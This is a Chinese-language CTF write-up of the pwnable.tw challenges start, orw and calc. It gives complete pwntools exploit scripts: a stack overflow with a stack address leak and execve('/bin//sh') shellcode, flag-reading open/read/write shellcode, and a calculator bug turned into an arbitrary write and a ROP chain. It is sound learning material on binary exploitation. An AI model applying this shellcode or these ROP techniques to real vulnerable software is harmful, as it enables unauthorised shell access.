start

查看汇编代码:

08048060 <_start>:
 8048060:       54                      push   %esp
 8048061:       68 9d 80 04 08          push   $0x804809d
 8048066:       31 c0                   xor    %eax,%eax
 8048068:       31 db                   xor    %ebx,%ebx
 804806a:       31 c9                   xor    %ecx,%ecx
 804806c:       31 d2                   xor    %edx,%edx
 804806e:       68 43 54 46 3a          push   $0x3a465443
 8048073:       68 74 68 65 20          push   $0x20656874
 8048078:       68 61 72 74 20          push   $0x20747261
 804807d:       68 73 20 73 74          push   $0x74732073
 8048082:       68 4c 65 74 27          push   $0x2774654c
 8048087:       89 e1                   mov    %esp,%ecx
 8048089:       b2 14                   mov    $0x14,%dl
 804808b:       b3 01                   mov    $0x1,%bl
 804808d:       b0 04                   mov    $0x4,%al
 804808f:       cd 80                   int    $0x80
 8048091:       31 db                   xor    %ebx,%ebx
 8048093:       b2 3c                   mov    $0x3c,%dl
 8048095:       b0 03                   mov    $0x3,%al
 8048097:       cd 80                   int    $0x80
 8048099:       83 c4 14                add    $0x14,%esp
 804809c:       c3                      ret

0804809d <_exit>:
 804809d:       5c                      pop    %esp
 804809e:       31 c0                   xor    %eax,%eax
 80480a0:       40                      inc    %eax
 80480a1:       cd 80                   int    $0x80

可以看到汇编代码使用的是 int 80 陷入中断的方式进行系统调用,这是 Linux 2.6 之前的通用做法,在这里贴一个 syscall 的相应链接供参考: https://w3challs.com/syscalls/

根据代码推测逻辑如下:

void _start() {
    char buf[20] = "Let's start the CTF:";
    sys_write(1,buf,20);
    sys_read(0,buf,60);
}
void _exit() {
    sys_exit();
}

很明显栈的长度有限因此如果输入长度超过 20 的话,能够导致栈溢出。因此我们只需要在栈上写入一段 shellcode 并通过控制程序控制流的方式即可 get shell,但这里有以下一个问题,由于 ASLR 的问题,无法获得栈的基地址。这也使得我们无法直接确认可以跳转的地址,因此需要泄露栈基地址。

此时发现有 add $0x14,%esp 可以得到栈的基地址(esp),因此如果修改返回地址,将程序返回到地址 0x08048087,此时程序相当于执行了 sys_write(1,esp,20),就能泄露我们需要的栈地址了。剩下的工作则是编写 shellcode 和计算相应的偏移。

shellcode 对应的代码如下(这里参考了 DogeWatch’s Blog 的做法),实际上的结果就是执行了 execve("/bin//sh", NULL, NULL):

31 c9                   xor    ecx,ecx
f7 e1                   mul    ecx
51                      push   ecx
68 2f 2f 73 68          push   0x68732f2f
68 2f 62 69 6e          push   0x6e69622f
89 e3                   mov    ebx,esp
b0 0b                   mov    al,0xb
cd 80                   int    0x80

最终脚本如下:

from pwn import *

DEBUG = False

if DEBUG:
    r = process("./start")
else:
    r = remote("chall.pwnable.tw", 10000)

def leak():
    print(r.recvuntil(":"))
    payload = 'a'*20 + p32(0x08048087)
    r.send(payload)
    stack_addr = u32(r.recv(4))
    print("stack address is {}".format(hex(stack_addr)))
    return stack_addr

def pwn(stack_addr):
    shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
    payload = 'a'*20 + p32(stack_addr+20) + shellcode
    r.send(payload)

def main():
    stack_addr = leak()
    pwn(stack_addr)
    r.interactive()

main()

得到 FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}

思路回顾整理如下:

  1. 发现存在栈溢出 => 栈溢出执行 shellcode
  2. 栈地址随意化 => 泄露栈地址
  3. 根据栈地址编写 shellcode

orw

本题主要考查的是 shellcode 的编写能力,orw 即为 open / read / write 的三项基本操作。

from pwn import *

shellcode = '''
_start:
    jmp end
open:
    pop ebx
    mov ecx, 0
    mov eax, 5
    int 0x80
    mov ebx, eax
    mov ecx, esp
    mov edx, 40
    mov eax, 3
    int 0x80
    mov ebx, 1
    mov eax, 4
    int 0x80
    mov eax, 1
    int 0x80
end:
    call open
'''

r = remote('chall.pwnable.tw', 10001)

shellcode = asm(shellcode)
r.sendlineafter(':', shellcode+"/home/orw/flag\x00")
r.interactive()

calc

本题需要先理解程序的逻辑,利用 ida 查看对应源码:

calc

可以很明显地看到程序的逻辑如下:

  1. 调用 get_expr 函数过滤除了 +,-,*,/,% 和数字之外的其他字符
  2. init_pool 函数会初始化保存中间数据的一段内存,这里我将其重命名为 pool 方便理解
  3. parse_expr 函数对表达式进行解析,并将结果写到 pool
  4. 输出 pool 上保存的最终值

下面一个函数则是程序的漏洞所在:

eval

如果按照正常的执行过程,程序的结构如下:

  • pool[0] = 2
  • pool[1] = num1
  • pool[2] = num2

然后执行完后变成:

  • pool[0] = 1
  • pool[1] = num1 OP num2

但如果用户以 +600 作为输入的话,则是如下结果:

  • pool[0] = 1
  • pool[1] = 600

执行完则成为:

  • pool[0] = 600

如果我们的输入是 +600+300,则最终结果会变成 pool[600] += 300, 由此触发了对栈上任意地址的写操作。

而且由于我们拥有的是任意地址写,所以可以绕过 canary 对栈的防护。很明显我们可以通过任意地址写来劫持程序的控制流,最终触发 system("/bin/sh")

由于开启了 NX,栈上不能直接执行 shellcode,而且由于程序是静态链接的,因此不能通过修改 GOT 表的方式调用 sys 函数,所以需要通过 ROP 劫持控制流,进而通过 int 0x80 进行系统调用。

在这之前,我们需要清楚程序的栈结构,这里可以参考 Pwnable.tw刷题之calc,个人认为其中的两个示意图非常清晰,易于理解。

最后需要构造的栈结构如下:

pool[370] = u32("/sh\x00")
pool[369] = u32("/bin")
pool[368] = 0x08049a21 // int 0x80
pool[367] = address    // "/bin/sh\x00" 字符串的地址
pool[366] = 0
pool[365] = 0x080701d1 // pop ecx;pop ebx;ret
pool[364] = 0
pool[363] = 0x080701aa // pop edx;ret
pool[362] = 11
pool[361] = 0x0805c34b // pop eax;ret

下面需要思考的则是如何获取 "/bin/sh\x00" 字符串所指向的地址。我们可以通过保存在 pool[360] 上的 ebp,即 main 函数的栈基地址推算出字符串对应的地址,具体推算示意图如下:

stack

构造脚本如下:

from pwn import *

LOCAL = not True
DEBUG = False

if LOCAL:
    r = process("./calc")
    if DEBUG:
        context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
        gdb.attach(proc.pidof(s)[0])
else:
    r = remote("chall.pwnable.tw", 10100)

def leak():
    payload = "+360"
    r.sendline(payload)
    base = int(r.recv().strip())
    return base & 0xFFFFFFFF

def get_ebp(base):
    size = base - (base & 0xFFFFFFF0 - 16)
    print("base is {}".format(hex(base)))
    print("stack size is {}".format(size))
    ebp = base - (size + 4) + 32
    if ebp > 0x8FFFFFFF:
        ebp -= 0x100000000
    return ebp

def write(pos, value):
    payload = "+{}".format(pos)
    r.sendline(payload)
    v1 = int(r.recv().strip())
    v2 = value - v1
    payload = "+{}{}{}".format(pos, '+' if v2 > 0 else '', v2)
    r.sendline(payload)
    r.recv()

def pwn():
    # leak
    base = leak()
    # 0x0805c34b : pop eax ; ret
    write(361, 0x0805c34b)
    write(362, 11)
    # 0x080701aa : pop edx ; ret
    write(363, 0x080701aa)
    write(364, 0)
    # 0x080701d1 : pop ecx ; pop ebx ; ret
    write(365, 0x080701d1)
    write(366, 0)
    write(367, get_ebp(base))
    # 0x08049a21 : int 0x80
    write(368, 0x08049a21)
    write(369, u32("/bin"))
    write(370, u32("/sh\x00"))

def main():
    print(r.recvuntil("=== Welcome to SECPROG calculator ===\n"))
    pwn()
    r.interactive()

if __name__ == '__main__':
    main()

小结

花了一周来做(理解)这三道题,希望这次 pwn 的(再)入门能成功(残念

参考链接

  1. DogeWatch’s Blog | Pwnable.tw Part(1)
  2. l1nk3dHouse | pwnable-tw
  3. Pwnable.tw刷题之calc
  4. Pwnable.tw calc